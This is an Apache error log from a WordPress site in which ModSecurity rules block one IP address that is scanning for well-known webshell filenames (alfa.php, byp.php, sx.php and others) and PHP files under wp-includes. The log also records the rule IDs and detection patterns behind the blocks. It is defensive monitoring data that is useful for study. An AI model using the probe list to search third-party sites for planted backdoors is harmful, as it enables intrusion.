[Wed Feb 25 00:49:53.012194 2026] [:error] [pid 18458:tid 18813] [client 20.203.143.97:11556] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ3WsQuir-tBe4tUisly8wAAApI"]
[Wed Feb 25 00:49:53.766185 2026] [:error] [pid 18458:tid 18819] [client 20.203.143.97:11581] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ3WsQuir-tBe4tUisly9wAAApg"]
[Wed Feb 25 00:49:54.639665 2026] [:error] [pid 18441:tid 18721] [client 20.203.143.97:20098] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aZ3WshYF1wpOnXIaHlOLmQAAAM0"]
[Wed Feb 25 00:49:55.256297 2026] [:error] [pid 18447:tid 18781] [client 20.203.143.97:8450] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aZ3Ws8-TpHVc8yBj5eajXgAAAhI"]
[Wed Feb 25 00:49:55.964531 2026] [:error] [pid 26872:tid 26891] [client 20.203.143.97:10739] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aZ3Ws3xLbzvRGuzwKjnCNQAAAFE"]
[Wed Feb 25 00:49:56.561582 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:25669] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sx.php"] [unique_id "aZ3WtHxLbzvRGuzwKjnCOwAAAEI"]
[Wed Feb 25 00:49:57.144697 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:17111] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZ3WtXxLbzvRGuzwKjnCQAAAAEg"]
[Wed Feb 25 00:49:57.860850 2026] [:error] [pid 18850:tid 18860] [client 20.203.143.97:9862] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZ3WteDBmHucoAJRnqnhMAAAAAg"]
[Wed Feb 25 00:49:58.804352 2026] [:error] [pid 18850:tid 18861] [client 20.203.143.97:9859] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZ3WtuDBmHucoAJRnqnhMwAAAAk"]
[Wed Feb 25 00:49:59.738334 2026] [:error] [pid 26872:tid 26880] [client 20.203.143.97:8500] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZ3Wt3xLbzvRGuzwKjnCSwAAAEY"]
[Wed Feb 25 00:50:00.644954 2026] [:error] [pid 18850:tid 18873] [client 20.203.143.97:10697] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZ3WuODBmHucoAJRnqnhOQAAABU"]
[Wed Feb 25 00:50:01.279888 2026] [:error] [pid 26872:tid 26878] [client 20.203.143.97:24401] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZ3WuXxLbzvRGuzwKjnCTwAAAEQ"]
[Wed Feb 25 00:50:02.001495 2026] [:error] [pid 26872:tid 26883] [client 20.203.143.97:9884] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZ3WunxLbzvRGuzwKjnCUgAAAEk"]
[Wed Feb 25 00:50:02.753718 2026] [:error] [pid 18447:tid 18778] [client 20.203.143.97:22896] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aZ3Wus-TpHVc8yBj5eajYwAAAg8"]
[Wed Feb 25 00:50:03.687718 2026] [:error] [pid 18447:tid 18765] [client 20.203.143.97:12684] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aZ3Wu8-TpHVc8yBj5eajagAAAgI"]
[Wed Feb 25 00:50:04.358834 2026] [:error] [pid 18850:tid 18871] [client 20.203.143.97:20922] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aZ3WvODBmHucoAJRnqnhQgAAABM"]
[Wed Feb 25 00:50:05.226098 2026] [:error] [pid 26872:tid 26891] [client 20.203.143.97:38224] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aZ3WvXxLbzvRGuzwKjnCVQAAAFE"]
[Wed Feb 25 00:50:06.080293 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:22881] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "aZ3WvnxLbzvRGuzwKjnCWAAAAEA"]
[Wed Feb 25 00:50:06.938257 2026] [:error] [pid 26872:tid 26887] [client 20.203.143.97:17809] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aZ3WvnxLbzvRGuzwKjnCWgAAAE0"]
[Wed Feb 25 00:50:07.951054 2026] [:error] [pid 18447:tid 18778] [client 20.203.143.97:20890] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aZ3Wv8-TpHVc8yBj5eajdQAAAg8"]
[Wed Feb 25 00:50:09.749630 2026] [:error] [pid 26872:tid 26893] [client 20.203.143.97:9452] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aZ3WwXxLbzvRGuzwKjnCYwAAAFM"]
[Wed Feb 25 00:50:11.110830 2026] [:error] [pid 26872:tid 26898] [client 20.203.143.97:46079] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aZ3Ww3xLbzvRGuzwKjnCcAAAAFg"]
[Wed Feb 25 00:50:11.642239 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:12887] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aZ3Ww3xLbzvRGuzwKjnCdwAAAEA"]
[Wed Feb 25 00:50:12.467358 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:9469] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aZ3WxHxLbzvRGuzwKjnCfwAAAFY"]
[Wed Feb 25 00:50:13.165432 2026] [:error] [pid 18441:tid 18709] [client 20.203.143.97:14850] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aZ3WxRYF1wpOnXIaHlOLrAAAAME"]
[Wed Feb 25 00:50:14.068068 2026] [:error] [pid 18850:tid 18869] [client 20.203.143.97:17134] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aZ3WxuDBmHucoAJRnqnhSQAAABE"]
[Wed Feb 25 00:50:14.608215 2026] [:error] [pid 18850:tid 18868] [client 20.203.143.97:20917] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aZ3WxuDBmHucoAJRnqnhSgAAABA"]
[Wed Feb 25 00:50:15.143986 2026] [:error] [pid 18441:tid 18722] [client 20.203.143.97:12691] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aZ3WxxYF1wpOnXIaHlOLrQAAAM4"]
[Wed Feb 25 00:50:16.259401 2026] [:error] [pid 18850:tid 18855] [client 20.203.143.97:26952] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aZ3WyODBmHucoAJRnqnhSwAAAAM"]
[Wed Feb 25 00:50:16.840932 2026] [:error] [pid 26872:tid 26883] [client 20.203.143.97:9438] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aZ3WyHxLbzvRGuzwKjnCpAAAAEk"]
[Wed Feb 25 00:50:17.522363 2026] [:error] [pid 18441:tid 18711] [client 20.203.143.97:46044] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aZ3WyRYF1wpOnXIaHlOLrwAAAMM"]
[Wed Feb 25 00:50:18.222997 2026] [:error] [pid 18447:tid 18773] [client 20.203.143.97:9426] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aZ3Wys-TpHVc8yBj5eajewAAAgo"]
[Wed Feb 25 00:50:19.042937 2026] [:error] [pid 18447:tid 18770] [client 20.203.143.97:17110] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aZ3Wy8-TpHVc8yBj5eajggAAAgc"]
[Wed Feb 25 00:50:19.943475 2026] [:error] [pid 18447:tid 18786] [client 20.203.143.97:14054] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aZ3Wy8-TpHVc8yBj5eajhQAAAhc"]
[Wed Feb 25 00:50:20.725880 2026] [:error] [pid 18447:tid 18765] [client 20.203.143.97:22815] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ3WzM-TpHVc8yBj5eajiAAAAgI"]
[Wed Feb 25 00:50:21.439780 2026] [:error] [pid 18447:tid 18783] [client 20.203.143.97:20916] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ3Wzc-TpHVc8yBj5eajigAAAhQ"]
[Wed Feb 25 00:50:22.193010 2026] [:error] [pid 18458:tid 18812] [client 20.203.143.97:26994] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ3Wzguir-tBe4tUislzCwAAApE"]
[Wed Feb 25 00:50:23.326932 2026] [:error] [pid 26872:tid 26879] [client 20.203.143.97:9450] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ3Wz3xLbzvRGuzwKjnCsAAAAEU"]
[Wed Feb 25 00:50:27.272369 2026] [:error] [pid 18458:tid 18793] [client 20.203.143.97:9415] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aZ3W0wuir-tBe4tUislzEQAAAoA"]
[Wed Feb 25 00:50:29.083940 2026] [:error] [pid 18441:tid 18730] [client 20.203.143.97:25609] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aZ3W1RYF1wpOnXIaHlOL1wAAANU"]
[Wed Feb 25 00:50:30.265533 2026] [:error] [pid 26872:tid 26878] [client 20.203.143.97:11588] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aZ3W1nxLbzvRGuzwKjnCzgAAAEQ"]
[Wed Feb 25 00:50:32.413990 2026] [:error] [pid 26872:tid 26887] [client 20.203.143.97:22828] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aZ3W2HxLbzvRGuzwKjnC2wAAAE0"]
[Wed Feb 25 00:50:33.677575 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:12606] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZ3W2XxLbzvRGuzwKjnC3gAAAEg"]
[Wed Feb 25 00:50:52.183249 2026] [:error] [pid 18458:tid 18796] [client 20.203.143.97:12594] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aZ3W7Auir-tBe4tUislzcQAAAoM"]
[Wed Feb 25 00:51:10.104618 2026] [autoindex:error] [pid 18458:tid 18805] [client 20.203.143.97:11984] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 00:51:10.908360 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:4139] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aZ3W_nxLbzvRGuzwKjnDgwAAAFY"]
[Wed Feb 25 00:51:36.190523 2026] [:error] [pid 18850:tid 18854] [client 20.203.143.97:5000] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aZ3XGODBmHucoAJRnqnhswAAAAI"]
[Wed Feb 25 00:52:03.878475 2026] [proxy_fcgi:error] [pid 26872:tid 26874] [client 20.203.143.97:4211] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 00:52:26.266099 2026] [:error] [pid 26872:tid 26890] [client 20.203.143.97:12429] [client 20.203.143.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.203.143.97, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ3XSnxLbzvRGuzwKjnETAAAAFA"]
[Wed Feb 25 00:52:34.903426 2026] [autoindex:error] [pid 18447:tid 18786] [client 20.203.143.97:38301] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 00:52:41.263771 2026] [:error] [pid 18458:tid 18798] [client 20.203.143.97:8949] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZ3XWQuir-tBe4tUisl0KgAAAoQ"]
[Wed Feb 25 00:52:41.906353 2026] [:error] [pid 26872:tid 26887] [client 20.203.143.97:16268] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aZ3XWXxLbzvRGuzwKjnEWgAAAE0"]
[Wed Feb 25 00:52:42.426047 2026] [:error] [pid 18458:tid 18796] [client 20.203.143.97:14660] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aZ3XWguir-tBe4tUisl0KwAAAoM"]
[Wed Feb 25 00:52:42.945361 2026] [:error] [pid 18441:tid 18717] [client 20.203.143.97:13431] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aZ3XWhYF1wpOnXIaHlOMkAAAAMk"]
[Wed Feb 25 00:52:43.426067 2026] [:error] [pid 18441:tid 18732] [client 20.203.143.97:9818] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aZ3XWxYF1wpOnXIaHlOMkQAAANc"]
[Wed Feb 25 00:52:43.908574 2026] [:error] [pid 18441:tid 18721] [client 20.203.143.97:10231] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZ3XWxYF1wpOnXIaHlOMkgAAAM0"]
